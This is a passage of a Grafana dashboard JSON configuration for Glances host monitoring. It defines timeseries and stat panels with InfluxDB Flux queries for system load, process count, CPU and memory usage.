80\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t},\n\t\t\t\t\t\"unit\": \"short\"\n\t\t\t\t},\n\t\t\t\t\"overrides\": []\n\t\t\t},\n\t\t\t\"gridPos\": {\n\t\t\t\t\"h\": 6,\n\t\t\t\t\"w\": 20,\n\t\t\t\t\"x\": 2,\n\t\t\t\t\"y\": 1\n\t\t\t},\n\t\t\t\"id\": 4,\n\t\t\t\"links\": [],\n\t\t\t\"options\": {\n\t\t\t\t\"legend\": {\n\t\t\t\t\t\"calcs\": [\"mean\", \"max\", \"min\"],\n\t\t\t\t\t\"displayMode\": \"table\",\n\t\t\t\t\t\"placement\": \"right\"\n\t\t\t\t},\n\t\t\t\t\"tooltip\": {\n\t\t\t\t\t\"mode\": \"single\"\n\t\t\t\t}\n\t\t\t},\n\t\t\t\"pluginVersion\": \"8.2.5\",\n\t\t\t\"targets\": [\n\t\t\t\t{\n\t\t\t\t\t\"alias\": \"1min\",\n\t\t\t\t\t\"column\": \"min1\",\n\t\t\t\t\t\"dsType\": \"influxdb\",\n\t\t\t\t\t\"function\": \"mean\",\n\t\t\t\t\t\"groupBy\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"auto\"],\n\t\t\t\t\t\t\t\"type\": \"time\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"none\"],\n\t\t\t\t\t\t\t\"type\": \"fill\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"measurement\": \"load\",\n\t\t\t\t\t\"orderByTime\": \"ASC\",\n\t\t\t\t\t\"policy\": \"default\",\n\t\t\t\t\t\"query\": \"from(bucket: \\\"glances\\\")\\n  |> range(start: v.timeRangeStart, stop:v.timeRangeStop)\\n  |> filter(fn: (r) =>\\n    r._measurement == \\\"load\\\" and\\n    r._field == \\\"min5\\\" and\\n    r.hostname == \\\"${host}\\\"\\n  )\\n  |> aggregateWindow(every: v.windowPeriod, fn: mean, createEmpty: false)\\n  |> yield(name: \\\"mean5\\\")\\n  \\n  \",\n\t\t\t\t\t\"refId\": \"A\",\n\t\t\t\t\t\"resultFormat\": \"time_series\",\n\t\t\t\t\t\"select\": [\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [\"min1\"],\n\t\t\t\t\t\t\t\t\"type\": \"field\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [],\n\t\t\t\t\t\t\t\t\"type\": \"mean\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t],\n\t\t\t\t\t\"series\": \"load\",\n\t\t\t\t\t\"tags\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"key\": \"hostname\",\n\t\t\t\t\t\t\t\"operator\": \"=~\",\n\t\t\t\t\t\t\t\"value\": \"/^$host$/\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"target\": \"randomWalk('random walk')\"\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"alias\": \"1min\",\n\t\t\t\t\t\"column\": \"min1\",\n\t\t\t\t\t\"dsType\": \"influxdb\",\n\t\t\t\t\t\"function\": \"mean\",\n\t\t\t\t\t\"groupBy\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"auto\"],\n\t\t\t\t\t\t\t\"type\": \"time\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"none\"],\n\t\t\t\t\t\t\t\"type\": \"fill\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"hide\": false,\n\t\t\t\t\t\"measurement\": \"load\",\n\t\t\t\t\t\"orderByTime\": \"ASC\",\n\t\t\t\t\t\"policy\": \"default\",\n\t\t\t\t\t\"query\": \"from(bucket: \\\"glances\\\")\\n  |> range(start: v.timeRangeStart, stop:v.timeRangeStop)\\n  |> filter(fn: (r) =>\\n    r._measurement == \\\"load\\\" and\\n    r._field == \\\"min15\\\" and\\n    r.hostname == \\\"${host}\\\"\\n  )\\n  |> aggregateWindow(every: v.windowPeriod, fn: mean, createEmpty: false)\\n  |> yield(name: \\\"mean15\\\")\\n  \\n  \",\n\t\t\t\t\t\"refId\": \"B\",\n\t\t\t\t\t\"resultFormat\": \"time_series\",\n\t\t\t\t\t\"select\": [\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [\"min1\"],\n\t\t\t\t\t\t\t\t\"type\": \"field\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [],\n\t\t\t\t\t\t\t\t\"type\": \"mean\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t],\n\t\t\t\t\t\"series\": \"load\",\n\t\t\t\t\t\"tags\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"key\": \"hostname\",\n\t\t\t\t\t\t\t\"operator\": \"=~\",\n\t\t\t\t\t\t\t\"value\": \"/^$host$/\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"target\": \"randomWalk('random walk')\"\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"alias\": \"1min\",\n\t\t\t\t\t\"column\": \"min1\",\n\t\t\t\t\t\"dsType\": \"influxdb\",\n\t\t\t\t\t\"function\": \"mean\",\n\t\t\t\t\t\"groupBy\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"auto\"],\n\t\t\t\t\t\t\t\"type\": \"time\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"none\"],\n\t\t\t\t\t\t\t\"type\": \"fill\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"hide\": false,\n\t\t\t\t\t\"measurement\": \"load\",\n\t\t\t\t\t\"orderByTime\": \"ASC\",\n\t\t\t\t\t\"policy\": \"default\",\n\t\t\t\t\t\"query\": \"from(bucket: \\\"glances\\\")\\n  |> range(start: v.timeRangeStart, stop:v.timeRangeStop)\\n  |> filter(fn: (r) =>\\n    r._measurement == \\\"load\\\" and\\n    r._field == \\\"min1\\\" and\\n    r.hostname == \\\"${host}\\\"\\n  )\\n  |> aggregateWindow(every: v.windowPeriod, fn: mean, createEmpty: false)\\n  |> yield(name: \\\"mean1\\\")\\n  \\n  \",\n\t\t\t\t\t\"refId\": \"C\",\n\t\t\t\t\t\"resultFormat\": \"time_series\",\n\t\t\t\t\t\"select\": [\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [\"min1\"],\n\t\t\t\t\t\t\t\t\"type\": \"field\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [],\n\t\t\t\t\t\t\t\t\"type\": \"mean\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t],\n\t\t\t\t\t\"series\": \"load\",\n\t\t\t\t\t\"tags\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"key\": \"hostname\",\n\t\t\t\t\t\t\t\"operator\": \"=~\",\n\t\t\t\t\t\t\t\"value\": \"/^$host$/\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"target\": \"randomWalk('random walk')\"\n\t\t\t\t}\n\t\t\t],\n\t\t\t\"timeFrom\": null,\n\t\t\t\"timeShift\": null,\n\t\t\t\"title\": \"Load\",\n\t\t\t\"type\": \"timeseries\"\n\t\t},\n\t\t{\n\t\t\t\"cacheTimeout\": null,\n\t\t\t\"datasource\": \"${DS_GLANCES}\",\n\t\t\t\"fieldConfig\": {\n\t\t\t\t\"defaults\": {\n\t\t\t\t\t\"color\": {\n\t\t\t\t\t\t\"fixedColor\": \"rgb(31, 120, 193)\",\n\t\t\t\t\t\t\"mode\": \"fixed\"\n\t\t\t\t\t},\n\t\t\t\t\t\"mappings\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"options\": {\n\t\t\t\t\t\t\t\t\"match\": \"null\",\n\t\t\t\t\t\t\t\t\"result\": {\n\t\t\t\t\t\t\t\t\t\"text\": \"N/A\"\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\"type\": \"special\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"thresholds\": {\n\t\t\t\t\t\t\"mode\": \"absolute\",\n\t\t\t\t\t\t\"steps\": [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"green\",\n\t\t\t\t\t\t\t\t\"value\": null\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"red\",\n\t\t\t\t\t\t\t\t\"value\": 80\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t},\n\t\t\t\t\t\"unit\": \"none\"\n\t\t\t\t},\n\t\t\t\t\"overrides\": []\n\t\t\t},\n\t\t\t\"gridPos\": {\n\t\t\t\t\"h\": 6,\n\t\t\t\t\"w\": 2,\n\t\t\t\t\"x\": 22,\n\t\t\t\t\"y\": 1\n\t\t\t},\n\t\t\t\"id\": 18,\n\t\t\t\"interval\": null,\n\t\t\t\"links\": [],\n\t\t\t\"maxDataPoints\": 100,\n\t\t\t\"options\": {\n\t\t\t\t\"colorMode\": \"none\",\n\t\t\t\t\"graphMode\": \"area\",\n\t\t\t\t\"justifyMode\": \"auto\",\n\t\t\t\t\"orientation\": \"horizontal\",\n\t\t\t\t\"reduceOptions\": {\n\t\t\t\t\t\"calcs\": [\"mean\"],\n\t\t\t\t\t\"fields\": \"\",\n\t\t\t\t\t\"values\": false\n\t\t\t\t},\n\t\t\t\t\"text\": {},\n\t\t\t\t\"textMode\": \"auto\"\n\t\t\t},\n\t\t\t\"pluginVersion\": \"8.2.5\",\n\t\t\t\"targets\": [\n\t\t\t\t{\n\t\t\t\t\t\"column\": \"total\",\n\t\t\t\t\t\"dsType\": \"influxdb\",\n\t\t\t\t\t\"function\": \"mean\",\n\t\t\t\t\t\"groupBy\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"$__interval\"],\n\t\t\t\t\t\t\t\"type\": \"time\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"measurement\": \"processcount\",\n\t\t\t\t\t\"orderByTime\": \"ASC\",\n\t\t\t\t\t\"policy\": \"default\",\n\t\t\t\t\t\"query\": \"from(bucket: \\\"glances\\\")\\n  |> range(start: v.timeRangeStart, stop:v.timeRangeStop)\\n  |> filter(fn: (r) =>\\n    r._measurement == \\\"processcount\\\" and\\n    r._field == \\\"total\\\" and\\n    r.hostname == \\\"${host}\\\"\\n  )\\n  |> last()\",\n\t\t\t\t\t\"refId\": \"A\",\n\t\t\t\t\t\"resultFormat\": \"time_series\",\n\t\t\t\t\t\"select\": [\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [\"total\"],\n\t\t\t\t\t\t\t\t\"type\": \"field\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [],\n\t\t\t\t\t\t\t\t\"type\": \"last\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t],\n\t\t\t\t\t\"series\": \"processcount\",\n\t\t\t\t\t\"tags\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"key\": \"hostname\",\n\t\t\t\t\t\t\t\"operator\": \"=~\",\n\t\t\t\t\t\t\t\"value\": \"/^$host$/\"\n\t\t\t\t\t\t}\n\t\t\t\t\t]\n\t\t\t\t}\n\t\t\t],\n\t\t\t\"title\": \"Processes\",\n\t\t\t\"type\": \"stat\"\n\t\t},\n\t\t{\n\t\t\t\"datasource\": \"${DS_GLANCES}\",\n\t\t\t\"fieldConfig\": {\n\t\t\t\t\"defaults\": {\n\t\t\t\t\t\"color\": {\n\t\t\t\t\t\t\"mode\": \"palette-classic\"\n\t\t\t\t\t},\n\t\t\t\t\t\"custom\": {\n\t\t\t\t\t\t\"axisLabel\": \"\",\n\t\t\t\t\t\t\"axisPlacement\": \"auto\",\n\t\t\t\t\t\t\"barAlignment\": 0,\n\t\t\t\t\t\t\"drawStyle\": \"line\",\n\t\t\t\t\t\t\"fillOpacity\": 0,\n\t\t\t\t\t\t\"gradientMode\": \"none\",\n\t\t\t\t\t\t\"hideFrom\": {\n\t\t\t\t\t\t\t\"legend\": false,\n\t\t\t\t\t\t\t\"tooltip\": false,\n\t\t\t\t\t\t\t\"viz\": false\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"lineInterpolation\": \"linear\",\n\t\t\t\t\t\t\"lineWidth\": 1,\n\t\t\t\t\t\t\"pointSize\": 5,\n\t\t\t\t\t\t\"scaleDistribution\": {\n\t\t\t\t\t\t\t\"type\": \"linear\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"showPoints\": \"never\",\n\t\t\t\t\t\t\"spanNulls\": true,\n\t\t\t\t\t\t\"stacking\": {\n\t\t\t\t\t\t\t\"group\": \"A\",\n\t\t\t\t\t\t\t\"mode\": \"none\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"thresholdsStyle\": {\n\t\t\t\t\t\t\t\"mode\": \"off\"\n\t\t\t\t\t\t}\n\t\t\t\t\t},\n\t\t\t\t\t\"mappings\": [],\n\t\t\t\t\t\"thresholds\": {\n\t\t\t\t\t\t\"mode\": \"absolute\",\n\t\t\t\t\t\t\"steps\": [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"green\",\n\t\t\t\t\t\t\t\t\"value\": null\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"red\",\n\t\t\t\t\t\t\t\t\"value\": 80\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t},\n\t\t\t\t\t\"unit\": \"percent\"\n\t\t\t\t},\n\t\t\t\t\"overrides\": []\n\t\t\t},\n\t\t\t\"gridPos\": {\n\t\t\t\t\"h\": 7,\n\t\t\t\t\"w\": 12,\n\t\t\t\t\"x\": 0,\n\t\t\t\t\"y\": 7\n\t\t\t},\n\t\t\t\"id\": 6,\n\t\t\t\"links\": [],\n\t\t\t\"options\": {\n\t\t\t\t\"legend\": {\n\t\t\t\t\t\"calcs\": [],\n\t\t\t\t\t\"displayMode\": \"list\",\n\t\t\t\t\t\"placement\": \"bottom\"\n\t\t\t\t},\n\t\t\t\t\"tooltip\": {\n\t\t\t\t\t\"mode\": \"single\"\n\t\t\t\t}\n\t\t\t},\n\t\t\t\"pluginVersion\": \"8.2.5\",\n\t\t\t\"targets\": [\n\t\t\t\t{\n\t\t\t\t\t\"alias\": \"User\",\n\t\t\t\t\t\"column\": \"user\",\n\t\t\t\t\t\"dsType\": \"influxdb\",\n\t\t\t\t\t\"function\": \"mean\",\n\t\t\t\t\t\"groupBy\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"auto\"],\n\t\t\t\t\t\t\t\"type\": \"time\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"none\"],\n\t\t\t\t\t\t\t\"type\": \"fill\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"measurement\": \"cpu\",\n\t\t\t\t\t\"orderByTime\": \"ASC\",\n\t\t\t\t\t\"policy\": \"default\",\n\t\t\t\t\t\"query\": \"from(bucket: \\\"glances\\\")\\n  |> range(start: v.timeRangeStart, stop:v.timeRangeStop)\\n  |> filter(fn: (r) =>\\n    r._measurement == \\\"cpu\\\" and\\n    r._field == \\\"user\\\" and\\n    r.hostname == \\\"${host}\\\"\\n  )\\n  |> aggregateWindow(every: v.windowPeriod, fn: mean, createEmpty: false)\\n  |> yield(name: \\\"user\\\")\\n  \\n  \",\n\t\t\t\t\t\"refId\": \"A\",\n\t\t\t\t\t\"resultFormat\": \"time_series\",\n\t\t\t\t\t\"select\": [\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [\"user\"],\n\t\t\t\t\t\t\t\t\"type\": \"field\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [],\n\t\t\t\t\t\t\t\t\"type\": \"mean\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t],\n\t\t\t\t\t\"series\": \"cpu\",\n\t\t\t\t\t\"tags\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"key\": \"hostname\",\n\t\t\t\t\t\t\t\"operator\": \"=~\",\n\t\t\t\t\t\t\t\"value\": \"/^$host$/\"\n\t\t\t\t\t\t}\n\t\t\t\t\t]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"alias\": \"System\",\n\t\t\t\t\t\"column\": \"system\",\n\t\t\t\t\t\"dsType\": \"influxdb\",\n\t\t\t\t\t\"function\": \"mean\",\n\t\t\t\t\t\"groupBy\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"auto\"],\n\t\t\t\t\t\t\t\"type\": \"time\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"none\"],\n\t\t\t\t\t\t\t\"type\": \"fill\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"measurement\": \"cpu\",\n\t\t\t\t\t\"orderByTime\": \"ASC\",\n\t\t\t\t\t\"policy\": \"default\",\n\t\t\t\t\t\"query\": \"from(bucket: \\\"glances\\\")\\n  |> range(start: v.timeRangeStart, stop:v.timeRangeStop)\\n  |> filter(fn: (r) =>\\n    r._measurement == \\\"cpu\\\" and\\n    r._field == \\\"system\\\" and\\n    r.hostname == \\\"${host}\\\"\\n  )\\n  |> aggregateWindow(every: v.windowPeriod, fn: mean, createEmpty: false)\\n  |> yield(name: \\\"system\\\")\\n  \\n  \",\n\t\t\t\t\t\"refId\": \"B\",\n\t\t\t\t\t\"resultFormat\": \"time_series\",\n\t\t\t\t\t\"select\": [\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [\"system\"],\n\t\t\t\t\t\t\t\t\"type\": \"field\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [],\n\t\t\t\t\t\t\t\t\"type\": \"mean\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t],\n\t\t\t\t\t\"series\": \"cpu\",\n\t\t\t\t\t\"tags\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"key\": \"hostname\",\n\t\t\t\t\t\t\t\"operator\": \"=~\",\n\t\t\t\t\t\t\t\"value\": \"/^$host$/\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"target\": \"\"\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"alias\": \"IoWait\",\n\t\t\t\t\t\"column\": \"iowait\",\n\t\t\t\t\t\"dsType\": \"influxdb\",\n\t\t\t\t\t\"function\": \"mean\",\n\t\t\t\t\t\"groupBy\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"auto\"],\n\t\t\t\t\t\t\t\"type\": \"time\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"none\"],\n\t\t\t\t\t\t\t\"type\": \"fill\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"measurement\": \"cpu\",\n\t\t\t\t\t\"orderByTime\": \"ASC\",\n\t\t\t\t\t\"policy\": \"default\",\n\t\t\t\t\t\"query\": \"from(bucket: \\\"glances\\\")\\n  |> range(start: v.timeRangeStart, stop:v.timeRangeStop)\\n  |> filter(fn: (r) =>\\n    r._measurement == \\\"cpu\\\" and\\n    r._field == \\\"iowait\\\" and\\n    r.hostname == \\\"${host}\\\"\\n  )\\n  |> aggregateWindow(every: v.windowPeriod, fn: mean, createEmpty: false)\\n  |> yield(name: \\\"iowait\\\")\\n  \\n  \",\n\t\t\t\t\t\"refId\": \"C\",\n\t\t\t\t\t\"resultFormat\": \"time_series\",\n\t\t\t\t\t\"select\": [\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [\"iowait\"],\n\t\t\t\t\t\t\t\t\"type\": \"field\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [],\n\t\t\t\t\t\t\t\t\"type\": \"mean\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t],\n\t\t\t\t\t\"series\": \"cpu\",\n\t\t\t\t\t\"tags\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"key\": \"hostname\",\n\t\t\t\t\t\t\t\"operator\": \"=~\",\n\t\t\t\t\t\t\t\"value\": \"/^$host$/\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"target\": \"\"\n\t\t\t\t}\n\t\t\t],\n\t\t\t\"timeFrom\": null,\n\t\t\t\"timeShift\": null,\n\t\t\t\"title\": \"CPU (%)\",\n\t\t\t\"type\": \"timeseries\"\n\t\t},\n\t\t{\n\t\t\t\"datasource\": \"${DS_GLANCES}\",\n\t\t\t\"fieldConfig\": {\n\t\t\t\t\"defaults\": {\n\t\t\t\t\t\"color\": {\n\t\t\t\t\t\t\"mode\": \"palette-classic\"\n\t\t\t\t\t},\n\t\t\t\t\t\"custom\": {\n\t\t\t\t\t\t\"axisLabel\": \"\",\n\t\t\t\t\t\t\"axisPlacement\": \"auto\",\n\t\t\t\t\t\t\"barAlignment\": 0,\n\t\t\t\t\t\t\"drawStyle\": \"line\",\n\t\t\t\t\t\t\"fillOpacity\": 0,\n\t\t\t\t\t\t\"gradientMode\": \"none\",\n\t\t\t\t\t\t\"hideFrom\": {\n\t\t\t\t\t\t\t\"legend\": false,\n\t\t\t\t\t\t\t\"tooltip\": false,\n\t\t\t\t\t\t\t\"viz\": false\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"lineInterpolation\": \"linear\",\n\t\t\t\t\t\t\"lineWidth\": 1,\n\t\t\t\t\t\t\"pointSize\": 5,\n\t\t\t\t\t\t\"scaleDistribution\": {\n\t\t\t\t\t\t\t\"type\": \"linear\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"showPoints\": \"never\",\n\t\t\t\t\t\t\"spanNulls\": true,\n\t\t\t\t\t\t\"stacking\": {\n\t\t\t\t\t\t\t\"group\": \"A\",\n\t\t\t\t\t\t\t\"mode\": \"none\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"thresholdsStyle\": {\n\t\t\t\t\t\t\t\"mode\": \"off\"\n\t\t\t\t\t\t}\n\t\t\t\t\t},\n\t\t\t\t\t\"mappings\": [],\n\t\t\t\t\t\"min\": 0,\n\t\t\t\t\t\"thresholds\": {\n\t\t\t\t\t\t\"mode\": \"absolute\",\n\t\t\t\t\t\t\"steps\": [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"green\",\n\t\t\t\t\t\t\t\t\"value\": null\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"red\",\n\t\t\t\t\t\t\t\t\"value\": 80\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t},\n\t\t\t\t\t\"unit\": \"bytes\"\n\t\t\t\t},\n\t\t\t\t\"overrides\": [\n\t\t\t\t\t{\n\t\t\t\t\t\t\"matcher\": {\n\t\t\t\t\t\t\t\"id\": \"byRegexp\",\n\t\t\t\t\t\t\t\"options\": \"/.*total./\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"properties\": [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"id\": \"color\",\n\t\t\t\t\t\t\t\t\"value\": {\n\t\t\t\t\t\t\t\t\t\"fixedColor\": \"dark-red\",\n\t\t\t\t\t\t\t\t\t\"mode\": \"fixed\"\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"id\": \"custom.lineWidth\",\n\t\t\t\t\t\t\t\t\"value\": 2\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\t\"matcher\": {\n\t\t\t\t\t\t\t\"id\": \"byRegexp\",\n\t\t\t\t\t\t\t\"options\": \"/^used.*$/\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"properties\": [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"id\": \"custom.fillOpacity\",\n\t\t\t\t\t\t\t\t\"value\": 30\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t}\n\t\t\t\t]\n\t\t\t},\n\t\t\t\"gridPos\": {\n\t\t\t\t\"h\": 7,\n\t\t\t\t\"w\": 12,\n\t\t\t\t\"x\": 12,\n\t\t\t\t\"y\": 7\n\t\t\t},\n\t\t\t\"id\": 7,\n\t\t\t\"links\": [],\n\t\t\t\"options\": {\n\t\t\t\t\"legend\": {\n\t\t\t\t\t\"calcs\": [],\n\t\t\t\t\t\"displayMode\": \"list\",\n\t\t\t\t\t\"placement\": \"bottom\"\n\t\t\t\t},\n\t\t\t\t\"tooltip\": {\n\t\t\t\t\t\"mode\": \"single\"\n\t\t\t\t}\n\t\t\t},\n\t\t\t\"pluginVersion\": \"8.2.5\",\n\t\t\t\"targets\": [\n\t\t\t\t{\n\t\t\t\t\t\"alias\": \"Used\",\n\t\t\t\t\t\"column\": \"used\",\n\t\t\t\t\t\"dsType\": \"influxdb\",\n\t\t\t\t\t\"function\": \"mean\",\n\t\t\t\t\t\"groupBy\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"$__interval\"],\n\t\t\t\t\t\t\t\"type\": \"time\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"none\"],\n\t\t\t\t\t\t\t\"type\": \"fill\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"measurement\": \"mem\",\n\t\t\t\t\t\"orderByTime\": \"ASC\",\n\t\t\t\t\t\"policy\": \"default\",\n\t\t\t\t\t\"query\": \"from(bucket: \\\"glances\\\")\\n  |> range(start: v.timeRangeStart, stop:v.timeRangeStop)\\n  |> filter(fn: (r) =>\\n    r._measurement == \\\"mem\\\" and\\n    r._field == \\\"used\\\" and\\n    r.hostname == \\\"${host}\\\"\\n  )\\n  |> aggregateWindow(every: v.windowPeriod, fn: mean, createEmpty: false)\\n  |> yield(name: \\\"used\\\")\\n  \\n  \",\n\t\t\t\t\t\"rawQuery\": false,\n\t\t\t\t\t\"refId\": \"A\",\n\t\t\t\t\t\"resultFormat\": \"time_series\",\n\t\t\t\t\t\"select\": [\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [\"used\"],\n\t\t\t\t\t\t\t\t\"type\": \"field\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [],\n\t\t\t\t\t\t\t\t\"type\": \"mean\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t],\n\t\t\t\t\t\"series\": \"mem\",\n\t\t\t\t\t\"tags\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"key\": \"hostname\",\n\t\t\t\t\t\t\t\"operator\": \"=~\",\n\t\t\t\t\t\t\t\"value\": \"/^$host$/\"\n\t\t\t\t\t\t}\n\t\t\t\t\t]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"alias\": \"Max\",\n\t\t\t\t\t\"column\": \"total\",\n\t\t\t\t\t\"dsType\": \"influxdb\",\n\t\t\t\t\t\"function\": \"mean\",\n\t\t\t\t\t\"groupBy\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"$__interval\"],\n\t\t\t\t\t\t\t\"type\": \"time\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"none\"],\n\t\t\t\t\t\t\t\"type\": \"fill\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"measurement\": \"mem\",\n\t\t\t\t\t\"orderByTime\": \"ASC\",\n\t\t\t\t\t\"policy\": \"default\",\n\t\t\t\t\t\"query\": \"from(bucket: \\\"glances\\\")\\n  |> range(start: v.timeRangeStart, stop:v.timeRangeStop)\\n  |> filter(fn: (r) =>\\n    r._measurement == \\\"mem\\\" and\\n    r._field == \\\"total\\\" and\\n    r.hostname == \\\"${host}\\\"\\n  )\\n  |> aggregateWindow(every: v.windowPeriod, fn: mean, createEmpty: false)\\n  |> yield(name: \\\"total\\\")\\n  \\n  \",\n\t\t\t\t\t\"rawQuery\": 